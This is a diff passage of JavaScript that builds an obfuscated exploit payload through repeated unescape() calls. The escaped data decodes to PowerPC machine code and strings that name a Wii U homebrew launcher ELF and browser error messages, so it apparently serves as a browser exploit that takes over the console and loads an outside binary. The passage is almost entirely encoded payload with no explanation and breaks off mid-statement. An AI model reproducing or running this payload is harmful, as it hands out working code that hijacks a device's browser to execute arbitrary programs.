unescape("%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461%u6c00"); - str += unescape("%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e%u7466%u0065%u7869%u7400%u4653%u496e%u6974%u0046%u5341%u6464%u436c"); - str += unescape("%u6965%u6e74%u4578%u0046%u5344%u656c%u436c%u6965%u6e74%u0046%u5349%u6e69%u7443%u6d64%u426c%u6f63%u6b00%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u0046%u534d%u6f75%u6e74%u0046%u5355%u6e6d"); - str += unescape("%u6f75%u6e74%u0046%u534f%u7065%u6e46%u696c%u6500%u4653%u4765%u7453%u7461%u7446%u696c%u6500%u4653%u5265%u6164%u4669%u6c65%u0046%u5343%u6c6f%u7365%u4669%u6c65%u0073%u7973%u6170%u702e%u7270%u6c00"); - str += unescape("%u5359%u5352%u656c%u6175%u6e63%u6854%u6974%u6c65%u0043%u6f75%u6c64%u206e%u6f74%u206c%u6f61%u6420%u6669%u6c65%u202f%u7769%u6975%u2f61%u7070%u732f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865"); - str += unescape("%u722f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722e%u656c%u6600%u4661%u696c%u6564%u2074%u6f20%u6c6f%u6164%u2045%u4c46%u202f%u7769%u6975%u2f61%u7070%u732f%u686f%u6d65%u6272%u6577%u5f6c"); - str += unescape("%u6175%u6e63%u6865%u722f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722e%u656c%u6600%u002e%u7368%u7374%u7274%u6162%u002e%u7465%u7874%u002e%u6461%u7461%u0000%u0000%u0000%u0000%u0000%u0000"); - str += unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u000b%u0000%u0001%u0000%u0006%u0080%u0000%u0000%u0054%u0000%u097c%u0000%u0000%u0000%u0000"); - str += unescape("%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032%u0080%u097c%u0000%u09d0%u0000%u023a%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0001%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000"); - str += unescape("%u0000%u0c0a%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353"); - str += unescape("%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353"); - str += unescape("%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170%u702e%u7270%u6c00%u5f53%u5953%u4c61%u756e%u6368%u4d69%u6953%u7475%u6469%u6f00%u496e%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063"); - str += unescape("%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561"); - str += unescape("%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4943%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45"); - str += unescape("%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u5365%u7444%u6576%u6963%u6553%u7461%u7465%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554"); - str += unescape("%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u792e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468"); - str += unescape("%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0054%u6872%u6561%u6420%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f"); - str += unescape("%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578"); - str += unescape("%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u002e%u7465%u7874%u002e%u726f%u6461%u7461%u002e%u6461%u7461%u002e%u6273%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200"); - str += unescape("%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899%u079a%u069b%u059c%u049d%u039e%u029f%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uec70"); - str += unescape("%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41%udd41%ude42%udf41%u0641%u410d%u0100%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c"); + str += unescape("%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%ub790%u93e1%u001c%u9001%u0024%u7c9f%u2378%u38a5%u1c6c%u3880%u0000%u38c1%u0008%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u2f9f%u0000%u419e%u0018%u8121%u0008%u3bff%uffff%u7d29%u03a6%u4e80%u0421%u4bff%uffe8%u3961%u0020%u4800%u191c%u9421%uffc8%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfa1%u002c%u3fc0%u0102"); + str += unescape("%u63de%ub790%u9001%u003c%u7fc9%u03a6%u38a5%u1c7a%u38c1%u001c%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u1c81%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6"); + str += unescape("%u7fe3%ufb78%u3880%u0000%u38a5%u1c93%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u1ca2%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000"); + str += unescape("%u38a5%u1cb4%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u1cbd%u3880%u0000%u7fc9%u03a6%u7fe3%ufb78%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7d%u1b78%u3880%u0040"); + str += unescape("%u7d29%u03a6%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7e%u1b78%u4e80%u0421%u8121%u0010%u7fc4%uf378%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fa3%ueb78"); + str += unescape("%u4e80%u0421%u8121%u000c%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3c80%u0003%u7fe3%ufb78%u6084%uffff%u4bff%ufe61%u3961%u0038%u4800%u17c0%u9421%uffd8"); + str += unescape("%u7c08%u02a6%u3d20%u0102%ubfa1%u001c%u6129%ub790%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u1cc5%u38c1%u0008%u4e80%u0421%u8121%u0008%u7fa4%ueb78"); + str += unescape("%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1744%u9421%uffd8%u7c08%u02a6"); + str += unescape("%u3d20%u0102%ubf81%u0018%u6129%ub790%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u1cd7%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78%u579c%u402e%u57bd%u801e%u7f9f%ufb78"); + str += unescape("%u57de%uc00e%u7fff%ueb78%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u16b8"); + str += unescape("%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%ub790%u9001%u0024%u7fe9%u03a6%u38a5%u1ced%u38c1%u0010%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378"); + str += unescape("%u3880%u0000%u38a5%u1cfa%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d10%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008"); + str += unescape("%u7c7f%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u15e0%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7f%u1b78%u9001%u001c%u7c9d%u2378%u7cbc%u2b78%u3bc0%u0002"); + str += unescape("%u38e0%u0000%u7fe3%ufb78%u3880%u0000%u38a0%u0000%u38c0%u0000%u4bff%ufe65%u7fe3%ufb78%u3880%u0000%u7f85%ue378%u7fa6%ueb78%u4bff%ufdd5%u7fe3%ufb78%u4bff%ufed1%u37de%uffff%u40a2%uffc8%u3961%u0018"); + str += unescape("%u4800%u1574%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%ub790%u9001%u0024%u7fc9%u03a6%u38a5%u1d28%u38c1%u0010%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6"); + str += unescape("%u7fe3%ufb78%u3880%u0000%u38a5%u1d10%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d35%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010%u7d29%u03a6%u4e80%u0421%u8121%u000c"); + str += unescape("%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c9e%uf400%u3860%u0001"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd5d%u7fe3%ufb78%u4bff%ufddd%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd3d"); + str += unescape("%u7fe3%ufb78%u4bff%ufdbd%u3c80%u0180%u7fe3%ufb78%u3884%u1d49%u38a0%u0000%u4bff%ufe89%u3961%u0020%u4800%u145c%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%ub790%u93e1%u001c%u7d29%u03a6"); + str += unescape("%u9001%u0024%u3880%u0000%u38a5%u1d61%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufccd%u7fe3%ufb78%u4bff%ufd4d%u3880%u0000%u38a0%u0000"); + str += unescape("%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcad%u7fe3%ufb78%u4bff%ufd2d%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u13d8%u9421%uffd8%u7c08%u02a6%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102"); + str += unescape("%u63ff%ub790%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u1c81%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d67%u38c1%u0010%u4e80%u0421"); + str += unescape("%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d76%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d85%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u4e80%u0421%u8121%u0014%u3880%u0020"); + str += unescape("%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6%u38a0%u0000%u38c0%u0000%u38fe%u0300"); + str += unescape("%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000"); + str += unescape("%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u1298%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c%u7d03%u48ae%u7d44%u48ae%u7f88%u5000"); + str += unescape("%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae%u3929%u0001%u4bff%ufff0%u4e80%u0020"); + str += unescape("%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff71%u2f83%u0000%u419e%u005c"); + str += unescape("%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000%u409e%uffe0%u3d20%u0103%u3c60%u0180"); + str += unescape("%u6129%u1368%u3863%u1d9a%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1194%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78%u9001%u0014%u3860%u0001%u3880%u0000"); + str += unescape("%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78%u4800%u114c%u7c08%u02a6%u9421%ufff0"); + str += unescape("%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500%u4400%u0002%u6000%u0000%u7fc1%uf378"); + str += unescape("%u3961%u0010%u4800%u10f8%u7c08%u02a6%u9421%ufee0%u3920%u0000%u7c24%u0b78%ubea1%u00f4%u9001%u0124%u7c7c%u1b78%u9524%u00e0%u3d20%u0102%u6129%ua31c%u83c3%u0004%u3c60%u0180%u7d29%u03a6%u3863%u1dac"); + str += unescape("%u3fe0%u0102%u63ff%ub790%u3fa0%u0180%u3bbd%u1bd0%u4e80%u0421%u7fc3%uf378%u4bff%uf791%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1db4%u38c1%u00dc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378"); + str += unescape("%u7fe9%u03a6%u3880%u0000%u38a5%u1d61%u38c1%u00d8%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1ced%u38c1%u00d4%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000"); + str += unescape("%u38a5%u1dbe%u38c1%u00d0%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1dd0%u38c1%u00cc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1ddd%u38c1%u00c8"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1c81%u38c1%u00c4%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1c93%u38c1%u00c0%u4e80%u0421%u3ca0%u0180"); + str += unescape("%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d67%u38c1%u00bc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d76%u38c1%u00b8%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6"); + str += unescape("%u3880%u0000%u38a5%u1df3%u38c1%u00b4%u4e80%u0421%u3ca0%u0180%u38c1%u00b0%u7fe9%u03a6%u7fc3%uf378%u38a5%u1d85%u3880%u0000%u4e80%u0421%u3861%u0088%u7cbd%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00dc"); + str += unescape("%u4bff%ufd01%u395d%u000c%u7c78%u1b78%u3861%u007c%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00dc%u4bff%ufce1%u395d%u0018%u3861%u0070%u3880%u000c%u7caa%u64aa%u7ca3%u65aa%u80a1%u00dc%u4bff%ufcc5"); + str += unescape("%u395d%u0024%u3861%u0064%u3880%u000c%u7caa%u64aa%u7ca3%u65aa%u80a1%u00dc%u4bff%ufca9%u3ca0%u0180%u7fe9%u03a6%u3880%u0000%u38a5%u1e00%u38c1%u00ac%u7c77%u1b78%u8061%u00e0%u4e80%u0421%u3ca0%u0180"); + str += unescape("%u38c1%u00a8%u38a5%u1e10%u7fe9%u03a6%u8061%u00e0%u3880%u0000%u4e80%u0421%u8121%u00c4%u3880%u0004%u3860%u004c%u7d29%u03a6%u4e80%u0421%u3d20%u1f20%u6129%u0014%u3940%uffb4%u9069%u0000%u3d20%u1f20"); + str += unescape("%u6129%u0018%u7c7b%u1b78%u9149%u0000%u3d40%u1f20%u3920%uffff%u614a%u001c%u912a%u0000%u3d40%u1f20%u614a%u0020%u7c23%u0b78%u912a%u0000%u3d40%ufc2a%u9543%u00a4%u3ca0%u1000%u3880%u0004%u4bff%ufc05"); + str += unescape("%u3881%u004c%u7c79%u1b78%u387d%u0030%u7ca3%uc4aa%u7ca4%uc5aa%u3ca0%u0100%u7c83%u2378%u3880%u0018%u4bff%ufbe1%u3881%u0034%u7c75%u1b78%u387d%u0048%u7ca3%uc4aa%u7ca4%uc5aa%u7c83%u2378%u3ca0%u0100"); + str += unescape("%u3880%u0018%u4bff%ufbbd%u389d%u0060%u38a0%u002c%u7c7a%u1b78%u3861%u0008%u4bff%ufb85%u3ca0%u0100%u3880%u002c%u3861%u0008%u4bff%ufb99%u813c%u0014%u3880%u0008%u3ac3%u002c%u7d29%u03a6%u3860%u1000"); + str += unescape("%u4e80%u0421%u813c%u0014%u7c7e%u1b78%u3880%u0020%u7d29%u03a6%u3860%u00a0%u4e80%u0421%u8161%u00bc%u7c7f%u1b78%u3c80%u011a%u7fc3%uf378%u6084%u1dd8%u38a0%u0000%u38c0%u0000%u38ff%u00a0%u3900%u00a0"); + str += unescape("%u3920%u0000%u3940%u0009%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u001c%u3d20%u0103%u3c60%u0180%u6129%u1368%u3863%u1e19%u7d29%u03a6%u4e80%u0421%u8141%u00ac%u3d00%u1b80%u3920%u0001%u6108%u0008"); + str += unescape("%u394a%u002c%u913e%u0084%u915e%u0098%u7fc3%uf378%u93fe%u000c%u911e%u0014%u933e%u0080%u913f%u002c%u913f%u006c%u8121%u00b4%u915f%u0044%u3940%u0100%u913f%u0094%u8121%u00b8%u935f%u0024%u933f%u0028"); + str += unescape("%u7d29%u03a6%u92bf%u0034%u911f%u0038%u935f%u0064%u915f%u0068%u92df%u0074%u4e80%u0421%u8121%u00b0%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000"); + str += unescape("%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u813c%u0018%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813c%u0018%u7fe3%ufb78%u3be1%u009c%u7d29%u03a6%u4e80%u0421%u393d%u008c"); + str += unescape("%u7d49%u34aa%u7d5f%u35aa%u3880%u0006%u38a0%u0000%u38c0%u0000%u7f09%u03a6%u7fe3%ufb78%u4e80%u0421%u3d20%uffea%u6129%ua1b0%u815d%u0098%u913b%u0044%u38a1%u0094%u813d%u0094%u38c0%u0008%u9141%u0098"); + str += unescape("%u7ee9%u03a6%u9121%u0094%u3880%u0006%u7fe3%ufb78%u4e80%u0421%u3c60%uff20%u6063%u0008%u3880%u0000%u4bff%ufad9%u3c60%uffea%u809b%u0048%u6063%ua7a0%u4bff%ufac9%u3961%u0120%u4800%u0be0%u7c08%u02a6"); + str += unescape("%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102%u9001%u0044%u63de%ub790%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u2af8%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6"); + str += unescape("%u807f%u0004%u3880%u0000%u38a5%u2b05%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u2b1d%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000"); + str += unescape("%u38a5%u2b31%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u2b47%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2b5d%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6"); + str += unescape("%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78"); + str += unescape("%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000"); + str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u09f8%u3d00%u01ff"); + str += unescape("%u3ce3%u4000%u6108%uffff%u7f87%u4040%u409d%u002c%u3d00%u00ff%u3ce3%u3e00%u6108%uffff%u7f87%u4040%u419d%u0028%u3d20%u3200%u3d40%uc200%u6129%u0012%u614a%u01ff%u4800%u0014%u3d20%u3000%u3d40%uc000"); + str += unescape("%u6129%u0012%u614a%u03ff%u7cf8%u82a6%u7d19%u82a6%u7d58%u83a6%u7d39%u83a6%u7c00%u06ac%u4c00%u012c%u3945%u0001%u3920%u0000%u7d49%u03a6%u4240%u0014%u7d49%u20ae%u7d49%u19ae%u3929%u0001%u4bff%ufff0"); + str += unescape("%u5469%u0034%u7c63%u2a14%u7f89%u1840%u409c%u0014%u7c00%u48ac%u7c00%u04ac%u3929%u0020%u4bff%uffec%u7cf8%u83a6%u7d19%u83a6%u7c00%u06ac%u4c00%u012c%u4e80%u0020%u9421%uffe8%u7c08%u02a6%u3920%u0000"); + str += unescape("%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%ua31c%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u2b6f%u4e80%u0421%u3d20%u0102%u6129%ub790%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6%u3880%u0000"); + str += unescape("%u38a5%u2b7a%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78"); + str += unescape("%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u2b8e%u4bff%ufc81"); + str += unescape("%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff"); + str += unescape("%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000"); + str += unescape("%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufbf1%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001"); + str += unescape("%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78%u4800%u079c%u7c08%u02a6%u9421%uff60%u3d20%u0102%u3c60%u0180%u6129%ua31c%ubfc1%u0098%u9001%u00a4%u7d29%u03a6%u3863%u2b9f%u3881%u0094%u3fe0%u0102"); + str += unescape("%u63ff%ub790%u4e80%u0421%u3ca0%u0180%u38c1%u008c%u8061%u0094%u3880%u0000%u38a5%u2bac%u7fe9%u03a6%u4e80%u0421%u8121%u008c%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u008c"); + str += unescape("%u8061%u0094%u3ca0%u0180%u9121%u0014%u3d20%u0180%u3929%u1e34%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u2bb3%u38c1%u0090%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000"); + str += unescape("%u3880%u0001%u38a5%u2bcd%u38c1%u0090%u9121%u001c%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0000%u38a5%u2be2%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421"); + str += unescape("%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2be9%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2bff%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094"); + str += 